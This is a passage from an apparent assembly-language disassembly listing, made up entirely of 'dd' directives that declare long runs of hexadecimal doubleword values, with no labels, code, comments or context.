58A84A48h, 5F0A82E2h, 83E207ABh dd 81B61A7Dh, 4820E678h, 2A09453Eh, 0DE47BCACh, 9FB2FC4Ah dd 4464D989h, 89534B8Ch, 0E0A4E648h, 4742B0A3h, 3F78102h dd 0E0144B0Ah, 28F29AC8h, 0D86ABC0h, 68CF7032h, 882A072h dd 170E5F61h, 7A88D895h, 0DC3DADA7h, 2A0C092Eh, 0FEE30564h dd 6D447B01h, 0D8EC6535h, 0C1D3C03Ch, 0BAED91D7h, 96C8313Eh dd 0E0A23406h, 79507D4Ah, 3F0284DBh, 940517ADh, 145B166h dd 7850CDEDh, 70147E38h, 8E5A3870h, 76092ECAh, 0A4C48E0Ch dd 0EC19820h, 300FB353h, 4F9357DFh, 0F681B12Ah, 30C180D1h dd 33D8F265h, 25017780h, 0AD5827BEh, 5ECDD309h, 7A36F4F1h dd 5179B1D7h, 41F85D70h, 0A2F62B94h, 87E956C2h, 96B780D0h dd 981194A9h, 5B5C2596h, 55E8129Fh, 3DB766E8h, 91EF8009h dd 40ECF8F6h, 4EC4126h, 0A171DD5Ah, 0C004117Ah, 0B050786Ah dd 2488A548h, 419C3BA7h, 0AC9DE5A4h, 59CD21C4h, 50AE4FBEh dd 469FB8C3h, 0F2C501E9h, 1A3F5760h, 0E04489BCh, 0E47427AFh dd 477F0B8h, 949FCFBh, 0DE0044B9h, 2D427A28h, 0E7F801BCh dd 0E9C72907h, 4B6C2CB1h, 5D5AAEACh, 8C626514h, 0A92653D4h dd 722FC83Fh, 0A5C2D1F1h, 4789F908h, 98F639F7h, 68545543h dd 8FAA3EAh, 5E3EC821h, 0D0853535h, 9D649E2h, 906CBD25h dd 2DAFBFEBh, 28FD0455h, 388A2CB8h, 0E68180C6h, 449B7852h dd 0B6051CB0h, 2946A009h, 0CD7F0F81h, 0AEEA743Bh, 0B082ED84h dd 0AF13D9BCh, 8BC7F373h, 90347B2Bh, 0EEEA16C9h, 8B79E09Dh dd 3E41EEE2h, 2E3C2C4Fh, 600B618Fh, 2FA87B87h, 90F7AD62h dd 0B716BF88h, 23021D45h, 41309D3Dh, 0DA51FA7h, 0CDF89F62h dd 7C525FB6h, 50E950FFh, 0C68C284Eh, 181D07CFh, 0F2DD3167h dd 95A5F4DBh, 50AA16D1h, 4E76F975h, 48C2DD40h, 0D3C078AEh dd 68565152h, 326755BBh, 13230E0h, 4B5B6AB2h, 3CB5C2E9h dd 7B4695B5h, 64ADA427h, 0BDB4F06Ch, 0BE58EA04h, 0B98BD68Ah dd 29304B72h, 6AE9F24Ch, 0E23BBDF9h, 2DB351D9h, 252D0086h dd 0FB89781Fh, 1E4CBF5Fh, 30163AFDh, 4AB08AACh, 6120D16h dd 0A304D729h, 68C308EFh, 5C2E9287h, 443302F5h, 0CBC24AA1h dd 0AC4CA950h, 0A4B63CA0h, 4AF68B2h, 0CAAE1427h, 0F2994BE8h dd 0B7085930h, 3C4B9FC6h, 0F960FFB1h, 76659746h, 693CD02Ch dd 523B03E8h, 2384CF55h, 0E35B12E6h, 26E9099Ch, 19EDE51Dh dd 563B511Ch, 6ABFB4C7h, 8AA2006Ah, 9E0C200Ah, 7E888258h dd 8D7EDD4Fh, 8C026E26h, 75098D73h, 0ED833080h, 0CD4C8701h dd 741A24ADh, 623C6698h, 6E92980Bh, 0BB8410DFh, 0F2D2C52Eh dd 840E55B2h, 0EB21F31Eh, 0C35BDE04h, 5EE3F1A4h, 809793F5h dd 0AC5BAE72h, 0DA302B07h, 0AE81509Fh, 6B394427h, 0F608AFC2h dd 2301EADh, 0CFFE5A66h, 3C4492E2h, 2507C20Fh, 3CD51E83h dd 1468098Fh, 540C1957h, 0C2B6E32Ah, 68D8D7E9h, 1E55E61Ch dd 0CC71723Bh, 31A7B52Bh, 5979CFB4h, 8772222Eh, 49A14F5h dd 1E61F2B8h, 0E124BF30h, 0E98A33BEh, 0C4B765CEh, 0E31C4EF1h dd 28954B31h, 17F1958Dh, 44C1F980h, 49365F2Eh, 9608BB8h dd 0C5AC619h, 291C7B71h, 2A2726D3h, 43ED9541h, 12EC34B4h dd 0A88CE84Bh, 0D87F5B68h, 7C4F603Eh, 0A1604A8Dh, 0E94416BBh dd 684A42D2h, 1B777007h, 30F295B7h, 82D3922Fh, 0C27602C9h dd 397E72D9h, 42828105h, 530DE72Ah, 2613AEC1h, 16534DDAh dd 92E497C1h, 0E1231EEBh, 3219C830h, 0C9EE8100h, 0B76FDFA8h dd 0F568EB01h, 0D0979A2Fh, 0FA15570Bh, 0D9D95C93h, 3C40A5C1h dd 4A9726C6h, 20CA924h, 46397FC3h, 5E1AC03Fh, 23021716h dd 89E70031h, 0D0D6E9C1h, 0C3F3E89Dh, 0E7F7C9B2h, 23EF6100h dd 1C614466h, 4AAAD70Ch, 53AF0420h, 0BC4AC12Ch, 5F8992h dd 41388F7Bh, 5DA8BD27h, 1EF12508h, 59BEFD09h, 975259F4h dd 0F0EDB66Ch, 0EC3ED417h, 6FADA44Eh, 0E63884h, 1F1C67BEh dd 1D53984Bh, 0B4332C09h, 35C2BADBh, 0CB81001Bh, 0E23F4150h dd 0E5E3A652h, 4D2C8639h, 10C10D0h, 6A130FFEh, 5131F1E9h dd 1837FBAh, 0B7F1575Dh, 1F691F6Bh, 0D93A2F73h, 7BAD78FEh dd 49EA17E0h, 0B3034979h, 0CA89948h, 0F990CE89h, 7101EE2Eh dd 0CA65DE02h, 0E919400Eh, 41224A8Ah, 600250E3h, 0AAC56F3Dh dd 578430A9h, 0F0981F9Bh, 285548FEh, 0BE34CCEh, 0D67D036Ch dd 0FEEB1F54h, 0B951C0D5h, 0B0313FDh, 2EE98156h, 0A972D336h dd 8A6F2C6Dh, 96F93E70h, 20293AABh, 6ED82680h, 0D7870588h dd 0E9064262h, 165569Eh, 8175E6BBh, 0A0FAEB09h, 1B84AC5Ch dd 62BC6E4Bh, 40E38B2Ch, 323F139Ah, 4BD3F712h, 7BC06F1Eh dd 71E93CB4h, 0B9A4978Ah, 0ADACD427h, 0C416D6A0h, 0C1216244h dd 4B643EA4h, 0C535B77Dh dd 0DCF8EDE9h, 0C1789770h, 2E141A58h, 702FBF08h, 5C20776Dh dd 0C72086D5h, 58B4AD48h, 47C1B4CAh, 1705EDBAh, 0E6FCB889h dd 7780A02Ah, 0D8F680DBh, 7E8C00Fh, 56279C04h, 88C40B96h dd 0F5819A98h, 0C959ED09h, 1E61D636h, 5F8B8203h, 0A1F6EA29h dd 0B3D00150h, 0F1C3815Ah, 303CEA1Fh, 56765218h, 6850085Bh dd 20C36B08h, 5AC4BE49h, 581B4843h, 575C1671h, 9111010Fh dd 2EFE6B34h, 9A873204h, 42496802h, 0F281E866h, 6A07258Ah dd 79A599Dh, 385E9F5Dh, 4FB26C5Ah, 0F3AB84CFh, 0D32D72FFh dd 8100A414h, 0CFA222FBh, 0C5B46070h, 1228BB50h, 27BA565h dd 4D4F33FFh, 8A036C5Eh, 5122F17h, 0DBBFAE0Ch, 8865E0E4h dd 0A2E70A4Ah, 89591F4Bh, 776CA665h, 0E6323925h, 0E1F02D82h dd 4B0C6990h, 7F3B1D3Eh, 5018986Bh, 0EDEB20ACh, 29B1DA97h dd 897803F1h, 4FF21858h, 55FDAA30h, 634330F6h, 5EF370F1h dd 0E24D603h, 1F4B75A5h, 2731C0Eh, 0D799E910h, 94626A7Ch dd 0A43BF61Fh, 384FC932h, 41EE8B9Dh, 13060F63h, 458C147h dd 0BFD38599h, 0C5B2A877h, 82465509h, 0B2679702h, 5C5C0172h dd 340C6852h, 59609C92h, 6E8DE988h, 0EED663A4h, 0D4371A0Eh dd 4902099Ah, 7DBB8077h, 8AED1CEEh, 66E98F01h, 12303AE6h dd 7DA45AC1h, 0AC1D2738h, 43084CF2h, 1D194254h, 537349C9h dd 0ECA29E51h, 0B144124h, 7616DA53h, 0F4F4250Fh, 9D2E8072h dd 1271D826h, 0CC1D6168h, 50068F3Dh, 0D2F76B82h, 0EAC12804h dd 51F23A8Ch, 40017E18h, 3C2D0B6Bh, 8036DA57h, 5EB5E908h dd 2F77A640h, 4A426054h, 7172061h, 62B03350h, 5EE3EB8h dd 0E55B9B26h, 663F8D05h, 0DF7601AFh, 8279C913h, 746E680Ch dd 8683004Ah, 29583678h, 22B7270Ah, 0FB57E564h, 786EACCDh dd 210259EBh, 9AE907C6h, 0F9F602AAh, 2B62A77Eh, 0B1203430h dd 0B965BF7Fh, 2F15C52Fh, 0F63AACA2h, 5CF1275Fh, 4C23A382h dd 0D4E125D1h, 7B95C744h, 0D630B5E3h, 4B31C02Bh, 4D9A0B6Dh dd 0F7F21461h, 5412C384h, 0D1B55B7Ch, 96CC22ECh, 758F494Eh dd 58B37620h, 0B81A23BEh, 57C8CA3Bh, 0DE29F968h, 0BBFAE917h dd 6E0A7541h, 52E83DFDh, 5960C130h, 0CC20CB80h, 6C137F3h dd 0DB35391h, 25C1E29Ch, 896EA779h, 3BC478B2h, 2C3AB753h dd 0E9F81378h, 830C5EB8h, 82F280E1h, 92F9EA99h, 0F11B5F06h dd 0B33A1E43h, 1A36494Ch, 70207BFAh, 95D3E0FBh, 0E91ABC94h dd 0DE209C80h, 0B368E10Eh, 0C44D02h, 286BC78Dh, 0CB0C3664h dd 1AC3EC5Fh, 3ED80629h, 8BA867BFh, 0ADE25456h, 0D4D83EDAh dd 78EED17Ch, 168E4F46h, 68CD1Bh, 0FB7235E5h, 5EE94F0Bh dd 7886F2CFh, 0A5AE6967h, 97AD6D22h, 0A400B405h, 20F6B652h dd 0A0E09FF4h, 0C07387ECh, 0C4090376h, 0C05CE955h, 1222BA0Dh dd 1412D944h, 0B02C63ECh, 50545A50h, 1C84B70Dh, 9F7E3BD4h dd 0A861CCBAh, 64BE0033h, 54EA4C76h, 3548EE03h, 76102713h dd 0F71395BCh, 0CAACDEh, 361AB850h, 26E9320Fh, 52D09510h dd 1A07140h, 0C9F798BDh, 4F3F9E32h, 0E6589B0Bh, 764B807h dd 0E0A57086h, 836652D2h, 25831B90h, 5981DD7Bh, 3F32B708h dd 0B0A5605h, 7834FD44h, 36FBD237h, 0E208FDAh, 0B9513BFAh dd 39A9700Fh, 0E973316Eh, 8888A677h, 4A8D688Bh, 98C58C0Eh dd 4B197D4Dh, 16DF3DACh, 0EDCEA46Fh, 7E6A2E03h, 7D5F768h dd 4012A210h, 79A793ABh, 6F526334h, 2578CDFCh, 83271CC6h dd 6C09F00Dh, 5C09CF81h, 802D9E5Fh, 0A7253A98h, 40D9B048h dd 0E2B128C8h, 817D4C08h, 7567B7C2h, 0A595380Ah, 8419E5ADh dd 4D5C2E89h, 0F9DC3F0Fh, 25E45DE9h, 652EBA00h, 0D331371Eh dd 6E8AB2A1h, 39603389h, 8844C02Dh, 0F1805BD9h, 3768D20Ah dd 0B2609F7Fh, 19D12839h, 0F6CE305Ah, 0C00B3F78h, 2766795Eh dd 0EA281101h, 7CF73A59h, 0CFB3D740h, 5B09DA22h, 0D07F037Dh dd 575AA02Ch, 0F75F5E54h, 6C02295Dh, 0AAA5142h, 88D10871h dd 0F749C02Dh, 0E990DFh, 337E6966h, 41FCD81h, 0B4139B2Eh dd 0B62C8B25h, 0F4E91691h, 118BB60Ch, 0F203D707h, 27B87DBEh dd 133E0C04h, 0C1BF7CBCh, 6AEB014Ah, 8FC9EE8Ah, 0BF7C2224h dd 93BB6524h, 175047F2h, 0F94B91A1h, 193B754Dh, 8BF4CFC1h dd 4D079993h, 0A854C8F6h, 30752D48h, 68593DD4h, 0F3665F75h dd 10A9D104h, 5E2DCF0Fh, 0AD3FF6C5h, 0CF6748CDh, 38731D25h dd 29F7834Ch, 2D907C7Fh, 5B097179h, 0F80152h, 7B1E5983h dd 0D7F72761h, 19C033AEh, 1BA156Bh, 0E9C74A9Ch, 598BE3FAh dd 20591330h, 889F8378h, 726D27Eh, 4809D802h, 0BBC5C27h dd 7FF1DC89h, 0FF082E3Ch, 0DD022302h, 30D8D64Bh, 0B0159F36h dd 3DE77850h, 8629109Ah, 529F8C40h, 0EBD6278Ch, 95740BC7h dd 0F87660AAh, 0DD016224h, 0D127733Ah, 0E7CDC03Fh, 1939EEB6h dd 0C1FF31E9h, 0AA52875Dh, 622FAD1h, 7AA1AFF1h, 659D91CFh dd 0DBE905CCh, 3E25BF2Eh, 0EE7CC8B9h, 24F792E7h, 0C1B31C33h dd 33505268h, 9A98769Eh, 94E03820h, 13CC2EBBh, 0B930409Ch dd 1CF34B7Ch, 1C18312h, 0B5810CF0h, 0D339F905h, 0DED1A158h dd 31D47B2Fh, 0DD590809h, 105F911Ah, 8A05D17Bh, 0F22EB2C8h dd 0E62A5D81h, 0E7FB2A48h, 44DA059Eh, 3094B25h, 2EEC1E2h dd 1C30E6B0h, 13C985Ch, 0C9DA0BBh, 0FD71310Ah, 0BC22F0CDh dd 50A78D73h, 60AF414Fh, 0D25B1B57h, 267E33B2h, 6F0F1CC0h dd 40FE4D05h, 5ABAC5E0h, 0CC36AD7h, 12F9727Ch, 0A2853F42h dd 4E680945h, 2F31ED25h, 59A50365h, 0F6661A1h, 1A0E62B3h dd 56647A3Eh, 0D7586B5Fh, 64642A9Ch, 0E902B1C0h, 5B31DD26h dd 535C0B21h, 0BA68099Dh, 4FB2DC74h, 3BF2598h, 33147016h dd 37B8B600h, 22E90B62h, 0C2583276h, 53BC2574h, 68588459h dd 12EBA99Ah, 3EDFEC1h, 0B1409789h, 41FE0C0h, 6B1FD8F6h dd 5DFE42CFh, 0C130CF03h, 80C9B958h, 5A8843D4h, 83A237CAh dd 0DA35AD0h, 1FE9ADB0h, 0C0718D48h, 6A1BE56h, 0AAC9A0D9h dd 63381D8h, 0A50152FAh, 0A2D48D12h, 35ED7847h, 731F606Bh dd 65425158h, 4BAC47CCh, 0FF7D84C4h, 0A756E804h, 8D1EA310h dd 9EB54B44h, 0DF72207Ch, 0CAE97410h, 1478A2AAh, 32EB5379h dd 87CD02E0h, 0E2738072h, 0F187FD38h, 0F94229E9h, 7CE95E54h dd 0BF29642Fh, 30DBB40Eh, 3EF85D2Dh, 0F050E8B5h, 13ACBB1Eh dd 0F614C1D0h, 5A01E054h, 1DC6803Eh, 0C087F430h, 0CF9E08ECh dd 63EA87BAh, 0C287E207h, 2AC6654h, 94103194h, 5BCE61D2h dd 0DE282968h, 4C7000DEh, 55D7213h, 0DA621201h, 35BB2D34h dd 7C2911D4h, 5B07A3E8h, 84E2E7AFh, 5395D7E9h, 41FB9475h dd 0C380C58Ah, 7F3F20DFh, 12B4BD80h, 2715E55h, 4918210Fh dd 0AFEEDE40h, 7F732E09h, 0CE2A8146h, 19309915h, 2466F2C6h dd 1B449D8h, 1EE22A1Fh, 0E9303021h, 688FB125h, 0F42C1526h dd 72F76551h, 5E6A9E8h, 4EDC1DDh, 0ABD825F5h, 8FBB2DC7h dd 8FB52A70h, 58C987FCh, 80223262h, 885EB2EDh, 5D512702h dd 0C50021D3h, 4CB67B59h, 49B52F68h, 72238598h, 263D0930h dd 1A462658h, 76FD012Dh, 555F0802h, 0ADF626CAh, 470965ACh dd 7B65E4h, 606667C7h, 0EF5E291Dh, 12A3D1C2h, 0D7F32B60h dd 28040B6h, 0FE5BE180h, 0B75304C1h, 0A0F930B0h, 269D2F1Ch dd 4B1CFF12h, 0AB3C269h, 32B85872h, 38045812h, 9574DDB8h dd 0DE497C51h, 71E5C268h dd 507CE903h, 46903C99h, 1274A29h, 1895C3C4h, 422252EEh dd 2077B2EDh, 0C580D6E0h, 0CDFE181Fh, 0A1567BD2h, 0E982CDF3h dd 0DD5633BFh, 8B7F6EEDh, 5EEE2563h, 0AB0CB490h, 57E99C91h dd 0D126D23Ah, 91A4C5D9h, 7D301209h, 0C002821Ah, 14DF0B2Dh dd 0A6672F0Ah, 5E52DE6Ah, 0DD00C05Ah, 934976B9h, 0F4095F1Ah dd 44269886h, 0F51D29B6h, 515A0AFh, 7CA502ECh, 23B82D69h dd 8620B194h, 7027B60Fh, 4962A268h, 42F112Bh, 7A7CF05Bh dd 0BF6421BDh, 30E068CBh, 0F7650BBDh, 74219C8h, 5D71E875h dd 4F564B5Ah, 0B9F36142h, 5DBCB407h, 4FD504D6h, 0B337BAE5h dd 0D0044239h, 0D6E92D93h, 34E69842h, 69C2012Eh, 80283B00h dd 480A885Dh, 8B108C5Ah, 165A6276h, 2BB3009Fh, 5A70EB80h dd 0A4A8DA4Fh, 95ACE9C5h, 0EBEB521Eh, 414CB02Ch, 51F2103h dd 0B3D1E0Eh, 0A5718A01h, 0BE328027h, 0B732C35Fh, 0F0CAA40h dd 0A5CF90B9h, 28F7AC4Ah, 13E4212Eh, 29454E43h, 2E895DC9h dd 0C923AFF7h, 52CDC9C9h, 0B017307Bh, 2B5F3454h, 0BFED6F0h dd 0A528E9C8h, 760120A2h, 5B55E6C6h, 2FD626A2h, 0AC727B57h dd 0FA4BC9F9h, 8B5DD7A5h, 71B0EC63h, 0B62DE967h, 924D5135h dd 90F0AD59h, 0C0083FC6h, 17E10C81h, 0C1827450h, 0D3E6AF6h dd 0D2E90E39h, 5EFFC98Ah, 2C454F46h, 78B5A2D5h, 0F091BC2Ah dd 50936804h, 0FD820625h, 0BC5E0486h, 0C4B24B91h, 10A8E6D6h dd 0B14BF5E8h, 8D3BC6h, 9AEA59F9h, 77CD85ECh, 0F91230D5h dd 0E9C262ADh, 28E4EA44h, 0A521BB3Ch, 0F6A509E4h, 1FC1D2EEh dd 31E52EFDh, 6C1656AFh, 2AF7EF03h, 1350571Dh, 0A2F3C432h dd 396A1B86h, 2A7AAB0h, 0F5C2D2F6h, 0FDB54360h, 0D6EA0827h dd 5637A06h, 0B25267D5h, 8551D93Dh, 0F2253329h, 2D2BF149h dd 0F5FA4594h, 27A438B6h, 0EAD0A0A4h, 3B814A5Dh, 73ADA7E2h dd 75481A60h, 0C0E0B52Dh, 81152EC6h, 24C33F58h, 71BBD481h dd 3AC98BBCh, 291EB5F2h, 0E35DD26Fh, 1C5537E8h, 8FC42039h dd 0BD255775h, 7012D62h, 6A58525Dh, 0C53A5F8Dh, 0B678AAFAh dd 97C7F4E9h, 36AD8014h, 0C564B0A7h, 27E5B72Ch, 24196408h dd 86C8523Bh, 0D854E918h, 0E59F5FC6h, 0AFA53FF5h, 0D84881A9h dd 53819270h, 4B578A2Ah, 50B264FDh, 27BCAFE0h, 0B80BC400h dd 25BB0A68h, 11310B2Dh, 41562B62h, 948B5109h, 0D366305Ah dd 0CDE99C08h, 0D8207369h, 71993A29h, 8CC67CADh, 51E0465Ah dd 916005F6h, 1789C6ADh, 61A3E1F9h, 69916BD9h, 2A2497E9h dd 806004B2h, 0BAC0D9F2h, 12CA2AC3h, 5337E904h, 1802AAB3h dd 16E1256h, 7053D639h, 69E6EBA3h, 0D60C6325h, 9D08A0E4h dd 8F4F1550h, 0D40532C9h, 6F502DB0h, 0F829E2F7h, 0C11E3EF0h dd 0DAC002E2h, 1170CA81h, 2D1348D6h, 0BCABA901h, 0CEA8E98Ch dd 7BBB92F5h, 1519282h, 693B720Ah, 35A84121h, 6BA2DC9Ch dd 0DDCFE92Ah, 4758587Eh, 0DD25107Bh, 0BB5BE878h, 267D8069h dd 0BEE9630Ah, 0B36AC3D8h, 0F3FA0C89h, 0C17CF921h, 0FC03E80Fh dd 80F36FBh, 0BF0550EEh, 0BAA56196h, 0A2A6A86h, 796A60CAh dd 2BF2029Fh, 0BEE1CFC5h, 5E9523D7h, 8CC71B6h, 409588ADh dd 0C2F07F29h, 0EF315A10h, 5803CE5h, 42515596h, 0E9F81F01h dd 8DD1ADF9h, 4F06B282h, 1EF1003Eh, 33985076h, 127B1620h dd 35361068h, 40B4816Eh, 0F529002Dh, 5E553756h, 0CECA5C79h dd 0C04A38CBh, 99826CD5h, 7A579E4Fh, 105EADA5h, 5F5A96Fh dd 1C47CBD1h, 0D526EA31h, 11554908h, 0E4875D1Eh, 3E820504h dd 28AAC1C6h, 8FF4171Bh, 0CDC9CEACh, 0C681505Ch, 305F115h dd 9159E471h, 0E84AD5EAh, 0B6208164h, 491DEA9Ch, 88501372h dd 0E2C01DD3h, 4BEA8905h, 0FD11FC85h, 601306Ah, 95D028A2h dd 528596C5h, 1380D5B6h, 5ED80A0h, 59EE081Fh, 0A7B7C2F6h dd 2601776Bh, 18B450C5h, 5CF4E630h, 505FBEBEh, 0D1B9C7A8h dd 0EBB418BCh, 16EDC0A9h, 0F8DDF607h, 0F6F9712Ch, 91A43AF5h dd 29E5E998h, 3FC1902Ch, 0F4415E38h, 0F19F9C99h, 505381F5h dd 0B0045AB0h, 3015CA50h, 77E915E8h, 682D2219h, 30AD4B54h dd 81ACA254h, 5978DAD0h, 0E39F12Fh, 70EEC489h, 0B3FED0FBh dd 5435E9C5h, 0F4BE30E8h, 129F519Bh, 0F6596053h, 77730916h dd 0BF08F901h, 89943E08h, 0D1A59BA9h, 7DB3B977h, 2728288Dh dd 6901C10Bh, 47FEE05Dh, 22F58299h, 778E1454h, 37DCD926h dd 68575305h, 31EF5671h, 51111676h, 2D70FFD2h, 4D2F7C1Ch dd 0B756EEB6h, 19689EC8h, 0F8C9584Bh, 0E95C286Eh, 59B7B764h dd 223417AAh, 0AA5CBBE3h, 0D790EB45h, 0FF5814Dh, 0F428C56Bh dd 12CEB997h, 0ABF0239h, 0A4AF5B78h, 97795A16h, 57DBD0B2h dd 0C43A53C5h, 68E5C78Dh, 2430292Ch, 0A3251DEEh, 134776FBh dd 196EC51h, 315E59C8h, 0B7A58C2h, 0FDA9918Fh, 890C7916h dd 7F84E9CEh, 0D62C52BAh, 779EA00h, 86E961BDh, 35040F92h dd 97C7116Eh, 5AF6A7B0h, 5046202Eh, 420ACA68h, 85585A11h dd 0EE81381Ch, 9C36E9A5h, 1789BB00h, 0BF69DC01h, 9623E876h dd 57C40A6Fh, 6338018Ah, 2F2907ECh, 1CE9B502h, 3C8E9098h dd 75622568h, 84828BD9h, 5F32043Fh, 0EF68C8B0h, 9AE1ABDh dd 0B35580F6h, 1326B438h, 0EC9641E9h, 17B8B6D0h, 0F83B5BBFh dd 14660778h, 0ED6020FCh, 16FF5FFBh, 8EE017Ah, 8709B353h dd 0A80500CDh, 0FF79FD7Bh, 4235BB04h, 4E9A8FAAh, 9A16B7B3h dd 0DEB9A86Fh, 0D9B62E49h, 0CAC82CAAh, 9F42E90h, 0F05A30ACh dd 17497F7Ch, 6DB84ACAh, 1C977338h, 8C67503h, 0C4259974h dd 0FEB91E5Dh, 0F262E61h, 0D9BC7201h, 10EB10CBh, 95B70F59h dd 0EF21EC70h, 0BB3D9A5Ch, 870CC075h, 84CE9D34h, 6494599Fh dd 0D6E971EEh, 0B089B474h, 0D1011CF5h, 0A459D203h, 984B807Ch dd 3425458Ah, 7CC9F856h, 2F405A1Dh, 0BB80EBF5h, 0B551E30h dd 0AB8B8C5Dh, 470B2D14h, 899ECE12h, 0BF4A5028h, 9077CFB2h dd 0C9EAE66Eh, 6F80FAEFh, 3262281Eh, 0C3496998h, 0CD8001EAh dd 4E5C0A6h, 0FCD14460h, 5F59E905h, 0CFC0A4ECh, 81BCEF4Fh dd 7A8027E7h, 0B8E765Dh, 4672A6E9h, 0AA16B702h, 1AFBE915h dd 56CD17A9h, 0BF928EA9h, 256A915h, 226086EDh, 0CA4EC268h dd 3DAD6153h, 0F754C2h, 0EAB75351h, 6FB29EE9h, 61983BF7h dd 36252568h, 0E90BDB47h, 46FDA7C8h, 73B87464h, 0B3745D2Dh dd 27E266C4h, 9F20AB94h, 8DF53EA0h, 74286F63h, 0E829C938h dd 0EA62DF1h, 1DAA10DBh, 27FBD7F7h, 0F4A91877h, 0E1BE99EBh dd 6F799968h, 512D409Ah, 2F58D591h, 0E84AB6B7h, 5B5CF2D4h dd 0CFE90BC0h, 3A5769C2h, 0FE8EA503h, 409DFCE4h, 0A60DB86Dh dd 8E0BD75Fh, 0E9D4F42Bh, 0F997E82Dh, 0A2DD7AC4h, 19BD55D2h dd 7A9DA8E9h, 0A0D81820h, 1768E7EDh, 0F85A64BAh, 18D2A7C2h dd 8035F97Ch, 0EC6104Ch, 1B6B60E9h, 4534575Dh, 3542BFBCh dd 0D0BCC62Eh, 5814FC4h, 0E8967891h, 0B7A0E801h, 49755BCBh dd 60091298h, 4138428h, 1DAC2DBDh, 0B13BA84Bh, 5803B3E5h dd 8AF40DB3h, 0C1BD0096h, 0E91B0672h, 0B7B6598Fh, 0B85358CEh dd 6CD584A8h, 0AA12AB16h, 78C498F0h, 58E7024Eh, 0E22C4C04h dd 679A361h, 26D8F9A8h, 4ECCF63Bh, 0E8AA2CAFh, 6C7110BDh dd 28729274h, 62B5F1F7h, 0B070C920h, 5A490254h, 2043BCF1h dd 2C0F038Eh, 6AE9546Fh, 96FE2DB5h, 6F0902F4h, 743EEA22h dd 0F20816F8h, 2BF37A8Eh dd 99C52344h, 5A9857A8h, 2DC412BBh, 0DA9902C1h, 72D10CA7h dd 57FD9342h, 3AB6F4CCh, 2FD82163h, 57F21D66h, 203DCD02h dd 0C04D77EAh, 2E508CAh, 0C52922A2h, 907001E9h, 4D5B659Fh dd 13D04A89h, 0C3405EE9h, 0DF2F67BDh, 0F8317B53h, 0C0389A82h dd 0BD699F32h, 0EE2EC140h, 612F703h, 0F6CC00BEh, 653E61FAh dd 8246ECA0h, 293ADC1Fh, 11B9E9C4h, 0FC4A14E7h, 7BE9820Eh dd 41B39A2Ch, 0E33E7634h, 549B8B30h, 6B106CDBh, 1E65BF80h dd 8937DE49h, 997F0C43h, 1CD44C73h, 26859F6Ah, 0E62CFF02h dd 4588948Eh, 0D3D1A25Eh, 0D3C25316h, 20BA7A59h, 0B3009FDAh dd 3FB25264h, 0FA41EA80h, 42DC4BD0h, 7C3544EEh, 7EEEBD40h dd 7B144018h, 9D50E968h, 0E8D6D38Bh, 0D50A125Ah, 4F756E40h dd 386A2558h, 2893702Ah, 0C26376ADh, 0F77928E7h, 79F358E5h dd 5FC45B8Eh, 0C52FAC65h, 78DBAFFh, 522D8349h, 53C33186h dd 0CA5E917h, 1B94A5ADh, 1602B704h, 0F813801Eh, 2248AF3Ah dd 1C07281Eh, 20193525h, 4F704723h, 0B8682D7Eh, 5207B466h dd 0D2F75A5Dh, 981876D2h, 4E57E90Dh, 0A23C24B5h, 0F348CA54h dd 3D6BBF82h, 4880F7F2h, 7A4B34D2h, 80D05690h, 8EF14A08h dd 0AA12A03Ah, 533E4D16h, 41EEDDB0h, 7A202802h, 34ECE7Ah dd 0CA887B07h, 94AE6D72h, 49C7F69Ch, 0EE3BD2A4h, 54DAA9A7h dd 0CA0B2A98h, 4A4BBC2Bh, 0E908074Dh, 0B84EC0E9h, 80521E33h dd 82DE966Ah, 0E2D65FBEh, 4FC6E9F8h, 259CB4F2h, 28D07253h dd 7E18A556h, 0EEE85F4Fh, 5A05E23Eh, 0CECC0957h, 77D88882h dd 6B240541h, 68523D30h, 0F7515E61h, 40049387h, 5200F569h dd 0BF3E5FBAh, 0BEB05C5Fh, 57D82629h, 2D030266h, 87F76FD6h dd 92140546h, 0CF1A92AFh, 403B8709h, 5B69A283h, 975F630Eh dd 125E173Bh, 33BAF021h, 32C9E45Ch, 5A85300Ah, 0D2F8194Ah dd 4C07A450h, 0CE0B52F2h, 3E605F59h, 0AAB9C821h, 69B6EC0Bh dd 4E011CAAh, 0B0D22E06h, 7F54F0A1h, 0E3C7505Bh, 0DC719DEEh dd 0B0131FA6h, 145171CCh, 9A7D4E68h, 146EF6D7h, 9DEBE860h dd 481502C5h, 0B4943A81h, 8914AB72h, 6101A5E6h, 0C17AD831h dd 129A30E2h, 7232724Eh, 0F6EB89B4h, 0A90813E9h, 22CBC1C4h dd 0E7FC0ECCh, 0FEA1BF06h, 8DADC933h, 0FBB9AF72h, 1F233E20h dd 176D7D65h, 32F04A4Ah, 6301888h, 7B905266h, 0F095D9E4h dd 0AE922053h, 0B6075B7Dh, 5AF130A4h, 0F3B9C835h, 0F5AD0C9h dd 0D317DF94h, 8BE52721h, 8EC1AF80h, 21659668h, 40B1D5A3h dd 0B876490Fh, 50292745h, 1C562001h, 0CA875C06h, 3F08D1F7h dd 74265192h, 465E961Dh, 0EBDFAFF1h, 42502955h, 34FEE3F2h dd 5F025DF2h, 7E0B7E42h, 71A18F43h, 70C32ECh, 70DD2F0Dh dd 79209821h, 9AB9005h, 45E2536Ch, 330988Fh, 256427B8h dd 7BEDD17Eh, 68BBD17Bh, 7C3D06h, 19DA639Eh, 4840E381h dd 0D05ED62Fh, 2401C379h, 94A9A13h, 0BC3F04FEh, 12A912DEh dd 0A981A684h, 9851260Eh, 0EB11163Dh, 47B489Dh, 834C0CBAh dd 2327ECFEh, 89CD56B9h, 9AD56C81h, 0EA4875E2h, 630D5FF2h dd 104C2930h, 0B0C28A1h, 8C5AFDE9h, 0CACED07h, 0EA61E02Ah dd 34D51047h, 48FF52Ah, 6F638808h, 740B540h, 26548E25h dd 0C32FB20Eh, 0E0AC79FEh, 83400517h, 0F658C508h, 0D7F097D5h dd 80607AE1h, 0BE9E49E9h, 295C495Fh, 121910BEh, 0FB109469h dd 0C20B835Fh, 0F6C36802h, 0CAC9BB81h, 0DD103D4Ch, 0CDB01F6Bh dd 0D927BE5Fh, 0C157C412h, 49D95D1Ch, 6EE8E43Dh, 53E42095h dd 0B02ABE78h, 37C50A45h, 6967AABh, 2EF7594Bh, 6FC424Ah dd 248FE5F4h, 8392D05Fh, 3E25F4Ah, 0D8CE4175h, 93F0D021h dd 5E003092h, 54A6C2Dh, 517356Ah, 0E9F4B25Dh, 682EB02Eh dd 7C553027h, 82D064F5h, 5341E1EEh, 80865498h, 0C3628E33h dd 0CF010A0Fh, 5ADC455h, 5C5B68AEh, 0A2B75300h, 0C7FEDFF6h 